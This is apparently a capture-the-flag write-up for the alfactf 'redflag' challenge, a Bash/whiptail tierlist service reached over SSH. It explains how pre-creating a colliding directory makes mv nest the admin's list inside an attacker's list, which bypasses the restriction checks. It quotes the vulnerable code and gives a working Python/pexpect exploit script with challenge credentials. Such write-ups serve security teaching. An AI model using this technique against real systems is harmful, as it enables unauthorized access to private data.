Ред-флаг / redflag
alfactf
Task: an SSH Bash/whiptail tierlist service stored each list as a directory and enforced restrictions through root metadata. Solution: pre-create the join destination, abuse mv's existing-directory behavior to nest the admin list inside an attacker list, then read recursively exposed items checked against the wrong .meta file.
$ ls tags/ techniques/
Ред-флаг / redflag — alfactf
Description
Ред-флаг
English summary: the challenge provides SSH access to a Bash + whiptail tierlist manager. Tierlists live as directories under /data/tierlists, source is available at https://alfactf.ru/files/redflag.sh, and the goal is to recover a flag hidden in the admin's private list.
Analysis
The bug is a directory move / authorization mismatch.
Each tierlist is a directory with a root .meta file. Restricted items are listed there by filename, and read access is derived from that root metadata only:
is_restricted() { local restricted restricted=$(meta_get "$1" "restricted") || return 1 [[ -z "$restricted" ]] && return 1 local IFS=',' for r in $restricted; do [[ "$r" == "$2" ]] && return 0 done return 1 } can_read_file() { if is_restricted "$1" "$2"; then is_owner "$1" else return 0 fi }
When viewing a tierlist, the UI recursively walks all nested tier_* directories:
while IFS= read -r -d '' td; do tier_dirs+=("$td") done < <(find "$tl_dir" -type d -name 'tier_*' -print0 2>/dev/null | sort -z)
The important detail is that later checks still use the original top-level tl_dir rather than the real parent of the nested file:
if ! can_read_file "$tl_dir" "$item_fname"; then msg "[LOCKED] $item_name\n\nДоступ ограничен владельцем тир-листа." return fi
So if a foreign tierlist can be placed under our own root, every nested item is evaluated against our .meta, not the victim tierlist's .meta.
The join operation is what makes that possible:
join_tierlist_by_name() { local tl_name="$1" local new_name="${tl_name}__with__${CURRENT_USER}" mv "$TIERLISTS_DIR/$tl_name" "$TIERLISTS_DIR/$new_name" ... }
This assumes mv will always rename the directory. That is false: if $TIERLISTS_DIR/$new_name already exists and is a directory, mv places the source tierlist inside it.
So if we first create our own tierlist named:
gorpcore_redflags__with__rfbkqsl
and then join the public/admin tierlist gorpcore_redflags, the service executes:
mv /data/tierlists/gorpcore_redflags /data/tierlists/gorpcore_redflags__with__rfbkqsl
Result:
/data/tierlists/gorpcore_redflags__with__rfbkqsl/ # attacker-owned root └── gorpcore_redflags/ # moved victim tierlist └── tier_d/ └── ...
Now view_tierlist recursively discovers the nested tier_* directories from the moved victim list, but access checks still use the outer attacker-owned root .meta. That bypasses the victim's restrictions and exposes private previews and item contents.
Solution
- Log in with a fresh username. I used
rfbkqsl. - Create a tierlist named
gorpcore_redflags__with__rfbkqslso it collides with the destination name the service will later build. - Open the public tierlists and join admin's
gorpcore_redflags. - The service runs
mv /data/tierlists/gorpcore_redflags /data/tierlists/gorpcore_redflags__with__rfbkqsl. - Because the destination already exists, the admin tierlist is moved inside the attacker-controlled directory.
- Reopen the attacker-owned list. Recursive
findnow discovers nested tiers from the moved admin list. - Because reads are authorized against the outer
.meta, restricted admin items are displayed anyway. - In the
Dtier, the preview showsflag: alfa{mv_from_W3B_U1_70_wHipTaIl}.
Minimal exploit script:
#!/usr/bin/env python3 import random import string import time import pexpect CMD = ( "sshpass -p 'Q4gwbpZx1HywxSWfCLWqSQ' " "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -tt " "[email protected]" ) user = "rf" + "".join(random.choice(string.ascii_lowercase) for _ in range(5)) collision = f"gorpcore_redflags__with__{user}" child = pexpect.spawn("/bin/sh", ["-c", CMD], encoding=None, timeout=30) child.setwinsize(40, 120) time.sleep(1) child.send(user.encode() + b"\r") # Main menu -> create tierlist time.sleep(1) child.send(b"\x1b[B\x1b[B\r") time.sleep(1) child.send(collision.encode() + b"\r") # Back to main menu -> public tierlists -> join selected admin tierlist time.sleep(1) child.send(b"\r") time.sleep(1) child.send(b"\r") time.sleep(1) child.send(b"\x1b[B\r") time.sleep(1) child.send(b"\r") # Browse the nested tiers; the D-tier preview reveals the flag. time.sleep(3) print(child.read().decode("utf-8", errors="ignore"))
Recovered flag:
alfa{mv_from_W3B_U1_70_wHipTaIl}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [infra][free]Тихий квиттинг— alfactf
- [infra][Pro]SecretShell— alfactf
- [misc][Pro]HashCashSlash— 0xl4ugh
- [web][Pro]board_of_secrets— miptctf
- [misc][free]rustjail— b01lersc